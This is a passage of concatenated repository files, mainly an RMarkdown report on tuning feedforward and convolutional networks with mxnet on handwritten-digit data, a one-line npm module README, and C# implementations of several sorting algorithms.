* Hidden units: `r resultsTab2[which.max(resultsTab2$Acc_test),]$hiddenUnits`
* learning rate: `r resultsTab2[which.max(resultsTab2$Acc_test),]$learnRate`
* momentum start: `r resultsTab2[which.max(resultsTab2$Acc_test),]$momentumStart`
* Input Scaling: `r resultsTab2[which.max(resultsTab2$Acc_test),]$Scale`
* Accuracy (validation): `r resultsTab2[which.max(resultsTab2$Acc_test),]$Acc_val`
* Accuraccy (test): `r resultsTab2[which.max(resultsTab2$Acc_test),]$Acc_test`
In Fig 2 we can see how the hyperparameters i.e. hidden layers, hidden units, activation function and learning rate contributes to accuraccy. Just as in Fig1, these plots show overall variability of test set accuraccy over these hyperparameters. We see that,similar to Fig1, hidden layers 2 and 3 have can cause higher variability in accuraccy, with the median value for 3 layers to be much higher. Variation of accuracy accross different hidden units also look similar to Fig1. When hidden units are lesser variation is high although the range of accuraccy over different number of units looks same. When activation function is tanh the variation is high with median value higher than ReLU.
As in experiment 1a. with learning rate lower i.e. 0.005 we see that accuracy has higher maximum value as compared to learning rate 0.01.
The above experiments reveals that while training neural networks one must be very careful while setting the hyperparameters. It is a good practice to iterate over a space of hyperparameters and choose the best as choice of best parameters may not always be intuitive.
# Experiment 2
For experiment 2 I implemented convolutional networks with 2 convolutional layers. I set the error function to be cross entropy and the activation function was ReLU. Then, I trained models with different hyperparameters and found the best model i.e. model with highest accuraccy on test set. I iterated over the following hyperparameters:
* Hidden units in layer1
* Hidden units in layer2
* Kernel size
* Number of filters
* Learning rate
To train convolutional network first I converted the given data into 3D data of 8x8x1 ,where 8x8 was the image size 1 is the filter i.e. grayscale. I wrote the attached R code for simulation of convolutional nets (using mxnet). The results are described in Table 3.
## Experiment 2 R Code
```{r,tidy=TRUE}
# clear workspace
rm(list=ls())
# Load MXNet
require(mxnet)
library("magrittr", lib.loc="~/R/x86_64-pc-linux-gnu-library/3.4")
library(data.table)
#load data files
train <- fread("optdigits.tra",stringsAsFactors = T,colClasses = c(rep('numeric',64),'character'))
test<-fread("optdigits.tes",stringsAsFactors = T,colClasses = c(rep('numeric',64),'character'))
#set train and test data
train_cn <- data.matrix(train)
train_x <- t(train_cn[,1:64])
train_y <- train_cn[,65]
train_array <- train_x
test_cn<- data.matrix(test)
test_x <- t(test_cn[,1:64])
test_y <- test[,65]
test_array <- test_x
##missed steps
#resize to 8x8 image
dim(train_array) <- c(8, 8, 1, ncol(train_x))
dim(test_array) <- c(8, 8, 1, ncol(test_x))
data <- mx.symbol.Variable('data')
#define hyperparameter space
K<-c(2)
numF<-c(20,40)
hid1<-c(200,500)
hid2<-c(10,40)
learnRate<-c(0.005,0.1)
##test
#K<-c(2)
#numF<-c(20)
#hid1<-c(500)
#hid2<-c(40)
#learnRate<-c(0.1)
#create table for results
##Table to write results
header3<-c("Num.Convlayers","Units in conv1","Units in conv2","kernel","NumFilter","Rate","Acc_train","Acc_test","Time in min")
resultsTab3<-data.frame(matrix(ncol = 9, nrow = 0))
colnames(resultsTab3)<-header3
bestModelc<-NULL
bestAcc<-0
#error func cross entropy, hidden activation ReLU
for (h1 in hid1) {
for (h2 in hid2) {
for (ks in K) {
for (f in numF) {
for (r in learnRate) {
cat(h1,h2,ks,f,r)
s <- proc.time() #start time
# 1st convolutional layer
conv_1 <-
mx.symbol.Convolution(
data = data,
kernel = c(ks,ks),
num_filter = f
)
relu_1 <-
mx.symbol.Activation(data = conv_1, act_type = "relu")
pool_1 <-
mx.symbol.Pooling(
data = relu_1,
pool_type = "max",
kernel = c(ks,ks)
)
# 2nd convolutional layer
conv_2 <-
mx.symbol.Convolution(
data = pool_1,
kernel = c(ks,ks),
num_filter = f
)
relu_2 <-
mx.symbol.Activation(data = conv_2, act_type = "relu")
pool_2 <-
mx.symbol.Pooling(
data = relu_2,
pool_type = "max",
kernel = c(ks,ks)
)
# 1st fully connected layer
flat <- mx.symbol.Flatten(data = pool_2)
fcl_1 <-
mx.symbol.FullyConnected(data = flat, num_hidden = h1)
relu_3 <-
mx.symbol.Activation(data = fcl_1, act_type = "relu")
# 2nd fully connected layer
fcl_2 <-
mx.symbol.FullyConnected(data = relu_3, num_hidden = h2)
# Output
NN_model <-
mx.symbol.SoftmaxOutput(data = fcl_2, name = 'softmax')
# Set seed for reproducibility
mx.set.seed(100)
#use CPU
device <- mx.cpu()
# Train whole training data
model <- mx.model.FeedForward.create(
NN_model,
X = train_array,
y = train_y,
ctx = device,
num.round = 10,
array.batch.size = 100,
learning.rate = r,
eval.metric = mx.metric.accuracy,
epoch.end.callback = mx.callback.log.train.metric(100),
verbose = F
)
d <- proc.time() - s #end time
#accuraccy on train set
predict_probs <- predict(model, train_array)
predicted_labels <- max.col(t(predict_probs)) - 1
correct <- 0
for (i in 1:length(predicted_labels)) {
if (as.numeric(predicted_labels[i]) == as.numeric(train$V65[i])) {
correct <- correct + 1
}
}
acc_tr <- format(correct / length(predicted_labels), digits = 4)
#cat("ConvNet Accuraccy on train set:", acc)
#accuraccy on test set
predict_probs <- predict(model, test_array)
predicted_labels <- max.col(t(predict_probs)) - 1
correct <- 0
for (i in 1:length(predicted_labels)) {
if (as.numeric(predicted_labels[i]) == as.numeric(test$V65[i])) {
correct <- correct + 1
}
}
acc <- format(correct / length(predicted_labels), digits = 4)
#cat("ConvNet Accuraccy on test set:", acc)
#add to table
resultsTab3[nrow(resultsTab3)+1,] <- c(2,h1,h2,paste("(",ks,",",ks,")",sep=""),f,r,acc_tr,acc,format(as.numeric(d)[3]/60,digits = 2))
#choose best model
if(acc>bestAcc){
bestModelc<-model
bestAcc<-acc
}
}
}
}
}
}
confusion_matrix <- table(predicted_labels, t(test_y))
resultsTab3 %>% knitr::kable(caption = "Experiment 2 outcomes. Error function was cross-entropy and hidden units were ReLU.")
```
From Table 3 we can see that the convolutional net model with highest accuraccy in experiment 2 had following parameters: `r resultsTab3[which.max(resultsTab3$Acc_test),]`.
### Experiment 2: Best model confusion matrix on test set
```{r,tidy=TRUE}
confusion_matrix
```
# Experiment 2: Discussion
Convolutional networks take much more time to build and given sufficient iteration time I saw convolutional networks can achevie 100% accuraccy on training data and still perform better on the test set. Overall, I found that training convolutional networks one must be careful to set the hyperparameters. If parameters are set icorrectly the convolutional network may not learn true model and will give poor results. E.g. when hidden units in second layers is less than 50 the accuraccy is only 10%.
On the other hand if parameters are set to learn and iterate over data slowly, the convolutional network will take a lot of time to converge. E.g. set the learn rate 0.005 with 500 hidden units in each layer, and num.iterations = 500 the model will acheive accuraccy 100% on training set but will take a lot of time to build.
Compared to feedforward networks, convolutional networks are much better for image/pattern recognition.
# Appendix A
## System information
```{r,tidy=TRUE}
sessionInfo()
```
|
e98695f9710fd9f409b2056ac2116516decee85b
|
[
"RMarkdown",
"Markdown",
"R",
"Text"
] | 5 |
RMarkdown
|
urmi-21/H2O-examples
|
bedd33f3dfeb1a9254ea5fbd6ab92147123f256a
|
69de17a3c1ec47f0245c9a0cd55c17d711d29758
|
refs/heads/master
|
<repo_name>luozt/lakers<file_sep>/README.md
# lakers
lakers npm module
|
348e9a1d8e165e166574512a73b6337cac208b27
|
[
"Markdown"
] | 1 |
Markdown
|
luozt/lakers
|
14ee2dc9b39e9367e89a747030c7bf9eb59a77db
|
957c722c9954021e4ce1629a000322919abb55d1
|
refs/heads/master
|
<repo_name>andrewdhan/ios-sprint2-challenge<file_sep>/Shopping List/View and View Controller/ShoppingHeaderCollectionReusableView.swift
//
// ShoppingHeaderCollectionReusableView.swift
// Shopping List
//
// Created by <NAME> on 8/3/18.
// Copyright © 2018 Lambda School. All rights reserved.
//
import UIKit
class ShoppingHeaderCollectionReusableView: UICollectionReusableView {
@IBOutlet weak var headerLabel: UILabel!
}
<file_sep>/Shopping List/Model and Model Controller/ShoppingItemController.swift
//
// ShoppingItemController.swift
// Shopping List
//
// Created by <NAME> on 8/3/18.
// Copyright © 2018 Lambda School. All rights reserved.
//
import Foundation
import UIKit
class ShoppingItemController {
init() {
//set up stuff, if never been initialized before
isInitialized = UserDefaults.standard.bool(forKey: setupKey)
if(isInitialized == false){
let itemNames = ["apple", "grapes", "milk", "muffin", "popcorn", "soda", "strawberries"]
for item in itemNames{
guard let image = UIImage(named:item),
let imageData = UIImagePNGRepresentation(image) else {return}
let newItem = ShoppingItem(imageData: imageData, name: item, isAdded: false)
shoppingList.append(newItem)
}
UserDefaults.standard.set(true, forKey: setupKey)
}
//set user default to reflect that it has been set up.
loadFromPersistenceStore()
}
//MARK: - Persistence
func saveToPersistenceStore(){
guard let fileURL = fileURL else {return}
let encoder = PropertyListEncoder()
do{
let data = try encoder.encode(shoppingList)
try data.write(to: fileURL)
} catch {
NSLog("Error encoding")
}
}
func loadFromPersistenceStore(){
let fm = FileManager.default
guard let fileURL = fileURL, fm.fileExists(atPath: fileURL.path) else {return}
let decoder = PropertyListDecoder()
do{
let data = try Data(contentsOf: fileURL)
shoppingList = try decoder.decode([ShoppingItem].self, from: data)
} catch {
NSLog("Error decoding")
}
}
func toggleAddStatus(forItem item: ShoppingItem) {
guard let index = shoppingList.index(of: item) else {return}
shoppingList[index].isAdded = !shoppingList[index].isAdded
saveToPersistenceStore()
}
//MARK: - Relevant CRUD methods
func clearCart(){
for index in 0...shoppingList.count - 1{
shoppingList[index].isAdded = false
}
}
//MARK: - Properties
private(set) var shoppingList = [ShoppingItem]()
var shoppingCart: [ShoppingItem]{
return shoppingList.filter{$0.isAdded == true }
}
var itemsOnShelf: [ShoppingItem]{
return shoppingList.filter{$0.isAdded == false }
}
private var fileURL: URL?{
let fm = FileManager.default
let documentDirectory = fm.urls(for: .documentDirectory, in: .userDomainMask).first
let filename = "ShoppingList.plist"
return documentDirectory?.appendingPathComponent(filename)
}
private let setupKey = "SetupKey"
private(set) var isInitialized:Bool?
}
<file_sep>/Shopping List/View and View Controller/CompleteOrderViewController.swift
//
// CompleteOrderViewController.swift
// Shopping List
//
// Created by <NAME> on 8/3/18.
// Copyright © 2018 Lambda School. All rights reserved.
//
import UIKit
class CompleteOrderViewController: UIViewController {
override func viewWillAppear(_ animated: Bool) {
super.viewWillAppear(animated)
updateView()
}
func updateView(){
guard let shoppingItemController = shoppingItemController else {return}
let numberOfItems = shoppingItemController.shoppingCart.count
messageLabel.text = "You currently have \(numberOfItems) item(s) in your shopping list"
}
@IBAction func sendOrder(_ sender: Any) {
//checks to make sure label has text else do nothing
guard let name = nameLabel.text,
let address = addressLabel.text else {return}
//checks to see if the shopping cart is empty or the text is empty.
let numberOfItems = shoppingItemController?.shoppingCart.count
if numberOfItems == 0 || name.isEmpty || address.isEmpty {return}
//request Authorization for notification
notificationHelper.requestAuthorization { (authorizationStatus) in
if authorizationStatus == true{
self.notificationHelper.setNotification()
} else {
return
}
}
//Once authorized, clear everything, save to persistent store and pop back to previous VC
nameLabel.text = ""
addressLabel.text = ""
shoppingItemController?.clearCart()
shoppingItemController?.saveToPersistenceStore()
navigationController?.popViewController(animated: true)
}
//MARK: - Properties
var shoppingItemController: ShoppingItemController?
let notificationHelper = LocalNotificationHelper()
@IBOutlet weak var messageLabel: UILabel!
@IBOutlet weak var nameLabel: UITextField!
@IBOutlet weak var addressLabel: UITextField!
}
<file_sep>/Shopping List/View and View Controller/ShoppingCollectionViewCell.swift
//
// ShoppingCollectionViewCell.swift
// Shopping List
//
// Created by <NAME> on 8/3/18.
// Copyright © 2018 Lambda School. All rights reserved.
//
import UIKit
class ShoppingCollectionViewCell: UICollectionViewCell {
func updateViews(){
guard let shoppingItem = shoppingItem,
let image = UIImage(data:shoppingItem.imageData) else {return}
imageView?.image = image
itemNameLabel?.text = shoppingItem.name
let addedStatus = shoppingItem.isAdded ? "Added" : "Not Added"
addedStatusLabel?.text = addedStatus
}
// MARK - Properties
@IBOutlet weak var itemNameLabel: UILabel!
@IBOutlet weak var addedStatusLabel: UILabel!
@IBOutlet weak var imageView: UIImageView!
var shoppingItem:ShoppingItem?{
didSet{
updateViews()
}
}
}
<file_sep>/Shopping List/View and View Controller/ShoppingCollectionViewController.swift
//
// ShoppingCollectionViewController.swift
// Shopping List
//
// Created by <NAME> on 8/3/18.
// Copyright © 2018 Lambda School. All rights reserved.
//
import UIKit
private let reuseIdentifier = "Cell"
class ShoppingCollectionViewController: UICollectionViewController {
override func viewDidLoad() {
super.viewDidLoad()
// Uncomment the following line to preserve selection between presentations
// self.clearsSelectionOnViewWillAppear = false
// Register cell classes
self.collectionView!.register(UICollectionViewCell.self, forCellWithReuseIdentifier: reuseIdentifier)
// Do any additional setup after loading the view.
}
override func viewWillAppear(_ animated: Bool) {
super.viewWillAppear(animated)
collectionView?.reloadData()
}
override func collectionView(_ collectionView: UICollectionView, viewForSupplementaryElementOfKind kind: String, at indexPath: IndexPath) -> UICollectionReusableView {
if let sectionHeader = collectionView.dequeueReusableSupplementaryView(ofKind: kind, withReuseIdentifier: "Header", for: indexPath) as? ShoppingHeaderCollectionReusableView{
if indexPath.section == 0 {
sectionHeader.headerLabel.text = "Items in Cart"
} else {
sectionHeader.headerLabel.text = "Items on Shelf"
}
return sectionHeader
}
return UICollectionReusableView()
}
override func numberOfSections(in collectionView: UICollectionView) -> Int {
return 2
}
override func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int {
if section == 0 {
return shoppingItemController.shoppingCart.count
} else {
return shoppingItemController.itemsOnShelf.count
}
}
override func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell {
guard let cell = collectionView.dequeueReusableCell(withReuseIdentifier: "ShoppingCell", for: indexPath) as? ShoppingCollectionViewCell else {return UICollectionViewCell()}
cell.shoppingItem = itemAt(indexPath: indexPath)
return cell
}
override func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {
let itemTapped = itemAt(indexPath: indexPath)
shoppingItemController.toggleAddStatus(forItem: itemTapped)
collectionView.reloadData()
}
func itemAt(indexPath:IndexPath) -> ShoppingItem{
if indexPath.section == 0 {
return shoppingItemController.shoppingCart[indexPath.row]
} else {
return shoppingItemController.itemsOnShelf[indexPath.row]
}
}
// MARK: - Navigation
// In a storyboard-based application, you will often want to do a little preparation before navigation
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
if segue.identifier == "PlaceOrder"{
guard let destinationVC = segue.destination as? CompleteOrderViewController else {return}
destinationVC.shoppingItemController = shoppingItemController
}
}
//Mark: - Properties
let shoppingItemController = ShoppingItemController()
}
<file_sep>/Shopping List/ShoppingItemController.swift
//
// ShoppingItemController.swift
// Shopping List
//
// Created by <NAME> on 8/3/18.
// Copyright © 2018 Lambda School. All rights reserved.
//
import Foundation
import UIKit
class ShoppingItemController {
init() {
//Use UserDefaults later to make sure it has been initialized before initializing
let itemNames = ["apple", "grapes", "milk", "muffin", "popcorn", "soda", "strawberries"]
for item in itemNames{
guard let image = UIImage(named:item),
let imageData = UIImagePNGRepresentation(image) else {return}
let newItem = ShoppingItem(imageData: imageData, name: item, isAdded: false)
shoppingList?.append(newItem)
}
}
func toggleAddStatus(forItem item: ShoppingItem) {
guard var shoppingList = shoppingList,
let index = shoppingList.index(of: item) else {return}
shoppingList[index].isAdded = !shoppingList[index].isAdded
}
private(set) var shoppingList: [ShoppingItem]?
}
|
e769a7d500cb67139dc6f94ce8cf322584ca8f05
|
[
"Swift"
] | 6 |
Swift
|
andrewdhan/ios-sprint2-challenge
|
23fb401936dc5102149e85afeeb395c1d36feddb
|
39836f0348c9a113741c022eec58a444ed0c6b51
|
refs/heads/master
|
<file_sep>package com.example.springbootmybatisgeneratortest.service;
import java.util.List;
import com.example.springbootmybatisgeneratortest.pojo.Article;
public interface ArticleService {
List<Article> getAllArticles();
Integer addArticle(Article article);
Integer updateArticle(Article article);
Integer deleteArticle(String[] ids);
Article getArticleById(Integer id);
}
<file_sep>package com.example.springbootmybatisgeneratortest.service;
import java.util.List;
import com.example.springbootmybatisgeneratortest.pojo.Menu;
public interface MenuService {
List<Menu> getAll();
Integer add(Menu menu);
Integer delete(String[] idArr);
Integer update(Menu menu);
}
<file_sep>package com.example.springbootmybatisgeneratortest.controller;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import javax.activation.MimetypesFileTypeMap;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;
import com.example.springbootmybatisgeneratortest.pojo.Result;
import com.example.springbootmybatisgeneratortest.pojo.StatusMap;
import com.example.springbootmybatisgeneratortest.service.FileService;
@RestController
@RequestMapping("/api/file")
public class FileController {
@Autowired
private FileService fileService;
@PostMapping
@RequestMapping("/upload")
public Result uploadFile(@RequestParam("file_data") MultipartFile uploadfile , HttpServletRequest request){
String httpPath = "";
try {
httpPath = fileService.upload(uploadfile , request);
} catch (IllegalStateException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return new Result("success", StatusMap.CONTROLLER_BACK_SUCSSES, httpPath);
}
@GetMapping
/**
* 百度ueditor编辑器的图片回显 通过<img/>标签中的src访问 例:http://localhost:8080/qxzst-sp-apis//pc/image/getUeditorImg/1480504795791062668/png
* @param imgname 图片名
* @param imgType 扩展名
* @param response
*/
@RequestMapping("/image/{imgname}/{imgType}")
public void getUeditorImg(@PathVariable String imgname, @PathVariable String imgType,
HttpServletResponse response , HttpServletRequest request) {
BufferedInputStream in = null;
BufferedOutputStream out = null;
try {
String filePath = "//usr//local//file//";
File file = new File(filePath + imgname + "." + imgType);
in = new BufferedInputStream(new FileInputStream(file));
out = new BufferedOutputStream(response.getOutputStream());
response.setContentType(new MimetypesFileTypeMap().getContentType(file));// 设置response内容的类型
response.setHeader("Content-disposition", "attachment;filename=" + imgname + "." + imgType);// 设置头部信息
byte[] buffer = new byte[10240];
int length = 0;
while ((length = in.read(buffer)) > 0) {
out.write(buffer, 0, length);
}
out.flush();
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
if (in != null) {
in.close();
}
if (out != null) {
out.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
|
45a0e78deb662e337e7093ec76c0f506df64c814
|
[
"Java"
] | 3 |
Java
|
Liuyicong-git/ownerback
|
12631854f9c1d35579ce0c5acd6be4053ce80b84
|
f44787f662ef4d8f16714d409f4f609429b5ae6a
|
refs/heads/master
|
<repo_name>dyguests/LargestPrimeFactor<file_sep>/README.md
# Largest prime factor
see all Project Euler [dyguests/ProjectEuler](https://github.com/dyguests/ProjectEuler).
获取一个数的最大质因子。

结果:
```
600851475143 -> 6857
cost:17ms
```
|
ba06b601f1e66b20484103ed7d78e9e65ab52a40
|
[
"Markdown"
] | 1 |
Markdown
|
dyguests/LargestPrimeFactor
|
a4f013c375f8c31e970c9a240c4f5df0acb4498e
|
59bc093002175c5f3ec15b26ebd38959b2df6753
|
refs/heads/master
|
<file_sep>import { Component, OnInit } from '@angular/core';
import { SocketService } from '../services/socket.service';
import { User } from '../user';
import { FormsModule } from '@angular/forms';
@Component({
selector: 'app-superuserchat',
templateUrl: './superuserchat.component.html',
styleUrls: ['./superuserchat.component.css']
})
export class SuperuserchatComponent implements OnInit {
superusermessagecontent:string='';
superusermessages:string[] = [];
ioConnection:any;
username:string = '';
errormsg = '';
newuser:User;
constructor(private socketService:SocketService) { }
ngOnInit(){
this.newuser = JSON.parse(sessionStorage.getItem('currentUser'));
if(this.newuser != null){
this.username = this.newuser.username;
}
this.initIoConnection();
}
private initIoConnection(){
this.socketService.initSocket();
this.ioConnection = this.socketService.onMessage()
.subscribe((superusermessage:string) => {
this.superusermessages.push(superusermessage);
});
}
public chat(){
if(this.superusermessagecontent){
this.socketService.send(this.superusermessagecontent);
this.superusermessagecontent=null;
}else{
console.log('no message');
}
}
}
<file_sep># Assignment1
## Documentation
## Git Organization
`My git repository use only the master branch and I used it to make two commits. The only reason I have used it twice is because whenever I updated my files, I would forget to re-add them to the repository. I used the repository to keep track of the changes I made in my code.`
## Data Structures
`Client side:`
* Input fields: takes user inputs
* Ng Model: binds user data
* Ng for: used to loop through the messages input and displays them
`Server Side:`
* Object: which is used for the user data
* Strings: which is used to assign things to empty
* Boolean: which was used to check if user inputs matched the stored data and to also check if user roles where equal to the stored roles in the object
## Angular Architecture
`Components:`
* LoginComponent
* ChatComponent
* GroupadminchatComponent
* SuperuserchatComponent
`Services:`
* Bootstrap
* Rxjs
* Socket.io
* Body-parser
* Express
* Cors
`Models:`
* HTML
* CSS
* Javascript
* Angular
* Node.js
`Routes:`
* Login
* Chat
* Groupadminchat
* Superuserchat
## Node Architecture
`Modules:`
* App routing module: which is used to connect the other pages.
* App module: which is used to declare and import the components
`Functions:`
* Listen function: which is used to host the server, also has a start time
* Connect function: which is used to connect the used with socket.io
`Files:`
* Api-login: which is being used to store and call user information
`Global Variables:`
* Express: which is used to call static values
* Path: used for routing
* Http: used for server
* Cors: which is a middleware
* Body-parser: is also middleware
* Socket.io: which is a service that manages the chat components
* Server: which is assigned to file where the server details are kept
## Responsibilities
Dividing the responsibilities between the server and client was quite simple. The server takes care of loading the database and the stored user information and the client side runs the information and displays the correct forms and outputs.
## List
`Routes:`
* Login
* Chat
* Groupadminchat
* Superuserchat
* AppModule
* App-routingmodule
`Parameters:`
* Express
* Path
* Http
* Cors
* Body-parser
* Socket.io
* Sockets
* Server
`Return Values:`
* PORT: returns the port the server will run on
* Sockets: is used to connect the socket server file to the PORT
* Server: is used to run the server
* Require: is used to include the login api to all the client pages
## Interaction Details
The server.js file is used to interact with the other server files which when called run the information stored in them.
The socket.js file is used to store the functionality of when a client enters a message, this message is then taken and displayed in the client side once it passes through the server.
This listen.js file is used to host the server, when the server is ran using nodemon it will take the PORT from the server.js and run the server-side application.
The api-login.js file is used to house all the user information, this information if ran through the if statement and if the user inputs on the client side don’t match and error will be displayed, but if the input values by the client are the same to one of the users then the client will be routed to there page. The only variable that changes in this process is the username and password which are stored in an object.<file_sep>import { Component, OnInit } from '@angular/core';
import { Router } from '@angular/router';
import { ActivatedRoute } from '@angular/router';
import { User } from '../user';
@Component({
selector: 'app-account',
templateUrl: './account.component.html',
styleUrls: ['./account.component.css']
})
export class AccountComponent implements OnInit {
username:string = '';
email:string = '';
role:string = '';
newuser:User;
constructor(private router:Router, private route:ActivatedRoute) {}
ngOnInit() {
this.newuser = JSON.parse(sessionStorage.getItem('currentUser'));
if(this.newuser != null){
this.email = this.newuser.email;
this.role = this.newuser.role;
}
}
}<file_sep>import { Component, OnInit } from '@angular/core';
import { SocketService } from '../services/socket.service';
import { User } from '../user';
import { FormsModule } from '@angular/forms';
@Component({
selector: 'app-groupadminchat',
templateUrl: './groupadminchat.component.html',
styleUrls: ['./groupadminchat.component.css']
})
export class GroupadminchatComponent implements OnInit {
groupadminmessagecontent:string='';
groupadminmessages:string[] = [];
ioConnection:any;
username:string = '';
errormsg = '';
newuser:User;
constructor(private socketService:SocketService) { }
ngOnInit(){
this.newuser = JSON.parse(sessionStorage.getItem('currentUser'));
if(this.newuser != null){
this.username = this.newuser.username;
}
this.initIoConnection();
}
private initIoConnection(){
this.socketService.initSocket();
this.ioConnection = this.socketService.onMessage()
.subscribe((groupadminmessage:string) => {
this.groupadminmessages.push(groupadminmessage);
});
}
public chat(){
if(this.groupadminmessagecontent){
this.socketService.send(this.groupadminmessagecontent);
this.groupadminmessagecontent=null;
}else{
console.log('no message');
}
}
}
<file_sep>import { async, ComponentFixture, TestBed } from '@angular/core/testing';
import { GroupadminchatComponent } from './groupadminchat.component';
describe('GroupadminchatComponent', () => {
let component: GroupadminchatComponent;
let fixture: ComponentFixture<GroupadminchatComponent>;
beforeEach(async(() => {
TestBed.configureTestingModule({
declarations: [ GroupadminchatComponent ]
})
.compileComponents();
}));
beforeEach(() => {
fixture = TestBed.createComponent(GroupadminchatComponent);
component = fixture.componentInstance;
fixture.detectChanges();
});
it('should create', () => {
expect(component).toBeTruthy();
});
});
|
dbc58eb3878e2f73d15d404eba6b180b1f9a2799
|
[
"Markdown",
"TypeScript"
] | 5 |
Markdown
|
ShadowRider00525/Assignment1
|
940dba332db39c95f7619ceb36380f62c6c2d8a6
|
d01d3258aa793458026c684046a1913c5c85bf88
|
refs/heads/master
|
<file_sep>body {
margin: 0;
padding: 1rem;
background-color: #d0cdc4;
}
.container {
display: flex;
justify-content: center;
}
// variant 1
button {
width: 80%;
height: 3rem;
border: none;
border-radius: 20px;
transition-duration: 300ms;
text-transform: uppercase;
background-color: #ffe9cf;
box-shadow: 3px 5px 15px rgba(0, 0, 0, 0.1);
cursor: pointer;
outline: none;
&:hover {
width: 90%;
background-color: #ffe89d;
}
@media (min-width: 700px) {
width: 30%;
margin: 0 auto;
&:hover {
width: 40%;
background-color: #ffe89d;
}
}
}
// variant 2
$border: 20px;
$media-tablet: 700px;
// variant 1
@mixin respond-to($media: tablet) {
@if $media == tablet {
@media (min-width: $media-tablet) {
@content
}
} @else {
@media (min-width: 700px) {
@content
}
}
}
// variant 2
@mixin respond-to($val: min-width,$query: 700px) {
@media ($val: $query) {
@content
}
}
%btn {
width: 80%;
height: 3rem;
border: none;
border-radius: $border;
transition-duration: 300ms;
text-transform: uppercase;
background-color: #ffe9cf;
box-shadow: 3px 5px 15px rgba(0, 0, 0, 0.1);
cursor: pointer;
outline: none;
&:hover {
width: 90%;
background-color: #ffe89d;
}
}
.btn {
@extend %btn;
@include respond-to(min-width,700px){
width: 30%;
margin: 0 auto;
&:hover {
width: 40%;
background-color: #ffe89d;
}
}
}
<file_sep>// this comments will not be compiled and will
// not be in css
/* But this comment will*/
@import '1.1.import';
@import '1.1.import-partial';
|
215a45a8c33bbb4829bec6c05911b55bc3bd0acf
|
[
"SCSS"
] | 2 |
SCSS
|
nemrosim/css-path
|
3242934a7238cadf928d3664fa9bb85004c27509
|
b822fcb23072f2c26e5ee7d89ca8169740cc4ed1
|
refs/heads/master
|
<file_sep>using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
namespace SortAlgorithm
{
class Program
{
static void Main(string[] args)
{
SortBase sortBase;
//sortBase = new StraightInsertionSort(); // 直接插入排序
//sortBase = new ShellSort(); // 希尔排序
//sortBase = new SimpleSelectSort(); // 简单选择排序
//sortBase = new HeapSort(); // 堆排序
//sortBase = new BubbleSort(); // 冒泡排序
//sortBase = new QuickSort(); // 快速排序
//sortBase = new MergeSort(); // 归并排序
sortBase = new RadixSort(); // 基数排序
List<int> nums = new List<int> { 3, 1, 5, 7, 2, 4, 9, 6 };
sortBase.Sort(nums);
foreach (int n in nums)
Console.Write(n + " ");
Console.ReadLine();
}
}
}
<file_sep>using System.Collections.Generic;
namespace SortAlgorithm
{
/// <summary>
/// 【选择排序--简单选择排序】
/// 在要排序的一组数中,选出最小(或者最大)的一个数与第1个位置的数交换;然后在剩下的数当中再找最小(或者最大)的与第2个位置的数交换,
/// 依次类推,直到第n-1个元素(倒数第二个数)和第n个元素(最后一个数)比较为止。
/// 不稳定 时间复杂度 O (n^2) 空间复杂度 O(1)
/// </summary>
public class SimpleSelectSort : SortBase
{
public override void Sort(List<int> nums)
{
int count = nums.Count;
int minValueIndex = 0;
for (int i = 0; i < count; i++)
{
minValueIndex = i;
for (int j = i + 1; j < count; j++)
{
if(nums[j] < nums[minValueIndex])
minValueIndex = j;
}
if(minValueIndex != i)
{
int temp = nums[i];
nums[i] = nums[minValueIndex];
nums[minValueIndex] = temp;
}
}
}
}
}
<file_sep>using System.Collections.Generic;
namespace SortAlgorithm
{
/// <summary>
/// 【归并排序】
/// 归并(Merge)排序法是将两个(或两个以上)有序表合并成一个新的有序表,即把待排序序列分为若干个子序列,
/// 每个子序列是有序的。然后再把有序子序列合并为整体有序序列。
/// 稳定 时间复杂度 O(nlogn) 空间复杂度 O(n)
/// </summary>
public class MergeSort : SortBase
{
public override void Sort(List<int> nums)
{
Sort(nums, 0, nums.Count - 1);
}
public void Sort(List<int> nums, int f, int e)
{
if (f < e)
{
int mid = (f + e) / 2;
Sort(nums, f, mid);
Sort(nums, mid + 1, e);
MergeMethod(nums, f, mid, e);
}
}
private void MergeMethod(List<int> nums, int f, int mid, int e)
{
int[] t = new int[e - f + 1];
int m = f, n = mid + 1, k = 0;
while (n <= e && m <= mid)
{
if (nums[m] > nums[n]) t[k++] = nums[n++];
else t[k++] = nums[m++];
}
while (n < e + 1) t[k++] = nums[n++];
while (m < mid + 1) t[k++] = nums[m++];
for (k = 0, m = f; m < e + 1; k++, m++) nums[m] = t[k];
}
}
}
<file_sep>using System.Collections.Generic;
namespace SortAlgorithm
{
/// <summary>
/// 【基数排序】
/// 是将阵列分到有限数量的桶子里。每个桶子再个别排序(有可能再使用别的排序算法或是以递回方式继续使用桶排序进行排序)。
/// 稳定 O (nlog(r)m),其中r为所采取的基数,而m为堆数
/// </summary>
public class RadixSort : SortBase
{
public override void Sort(List<int> nums)
{
int iMaxLength = GetMaxLength(nums);
DoRadixSort(nums, iMaxLength);
}
//排序
private void DoRadixSort(List<int> nums, int iMaxLength)
{
List<int> list = new List<int>(); //存放每次排序后的元素
List<int>[] listArr = new List<int>[10]; //十个桶
char currnetChar;//存放当前的字符比如说某个元素123中的2
string currentItem;//存放当前的元素比如说某个元素123
for (int i = 0; i < listArr.Length; i++) //给十个桶分配内存初始化。
listArr[i] = new List<int>();
